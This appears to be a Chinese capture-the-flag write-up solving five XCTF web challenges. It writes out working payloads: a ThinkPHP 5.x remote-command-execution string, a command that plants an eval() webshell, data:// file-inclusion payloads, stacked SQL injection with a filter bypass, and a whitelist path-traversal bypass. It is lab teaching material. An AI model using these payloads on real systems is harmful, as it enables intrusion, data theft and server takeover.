XCTF Web 记录(第一天)【记录到理解不了为止】

Training-WWW-Robots

根据题目描述,robots协议
访问/robots.txt:
在这里插入图片描述
访问/fl0g.php:
在这里插入图片描述

php_rce

在这里插入图片描述
给出了thinkphp的版本,网上查找漏洞:
ThinkPHP 5.x远程命令执行漏洞分析与复现

构造payload:

1.利用system函数远程命令执行

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

在这里插入图片描述

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag"

在这里插入图片描述

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

在这里插入图片描述
2.反弹shell,进行连接:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=1.php&vars[1][]=<?php @eval($_POST['ctf']);?>

新建1.php文件,并写入一句话木马,蚁剑连接:
在这里插入图片描述

Web_php_include

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    
    
    $page=str_replace("php://", "", $page); // 过滤了php://
}
include($page);
?>

文件包含题目。

payload:

?page=data://text/plain,<?php system('ls');?>

在这里插入图片描述

?page=data://text/plain,<?php system('cat fl4gisisish3r3.php');?>

查看源码。

supersqli

前面的一般操作不再陈述。
过滤了关键词:
在这里插入图片描述
但是可以使用堆叠注入:

1';show databases ;--+

在这里插入图片描述

1';show tables ;--+

在这里插入图片描述

1';show columns from words;#

在这里插入图片描述

1';show columns from `1919810931114514`;#      (字符串为表名操作时要加反引号)

在这里插入图片描述
由此可以判断,默认查询的为word表,id和data(字符串)

学到了三种做法:

第一种:

1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

修改表结构的方法来得到flag 将words表名改为words1,再将数字名表改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段

1' or 1=1 # 得到flag

第二种:

预处理语句使用方式:

PREPARE sqla from '[my sql sequece]';   //预定义SQL语句
EXECUTE sqla;  //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla;  //删除预定义SQL语句

预定义语句也可以通过变量进行传递:

SET @tn = 'hahaha';  //存储表名
SET @sql = concat('select * from ', @tn);  //存储SQL语句
PREPARE sqla from @sql;   //预定义SQL语句
EXECUTE sqla;  //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla;  //删除预定义SQL语句

payload:

1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE hacker from @sqli;EXECUTE hacker;# 使用char绕过的select的过滤

第三种:

1'; handler `1919810931114514` open as `a`; handler `a` read next;#

warmup

查看源码,获得source.php,访问,代码审计。

 <?php
    highlight_file(__FILE__);
    class emmm
    {
    
    
        public static function checkFile(&$page)
        {
    
    
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
    
     //字符串
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
    
     // 白名单
                return true;
            }

            $_page = mb_substr(   //0开始,截取字符串
                $page,
                0,
                mb_strpos($page . '?', '?') //返回第一个问号的位置
            );
            if (in_array($_page, $whitelist)) { // 白名单
                return true;
            }

            $_page = urldecode($page); // url解码
            $_page = mb_substr( 
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 

访问hint.php:
在这里插入图片描述
先看看代码 ↑↑↑↑

1.字符串
2.白名单,要存在source,hint
3.截取第一个问号之前的字符串
4.再一次白名单
5.url解码
6.再一次截取第一个问号之前的字符串

?file=source.php?/../../../../ffffllllaaaagggg

四个…/,ffffllllaaaagggg算是隐藏提示。
但是这道题的payload有很多形式,可能是因为返回true的条件不唯一。

猜你喜欢

转载自blog.csdn.net/qq_45742511/article/details/114264253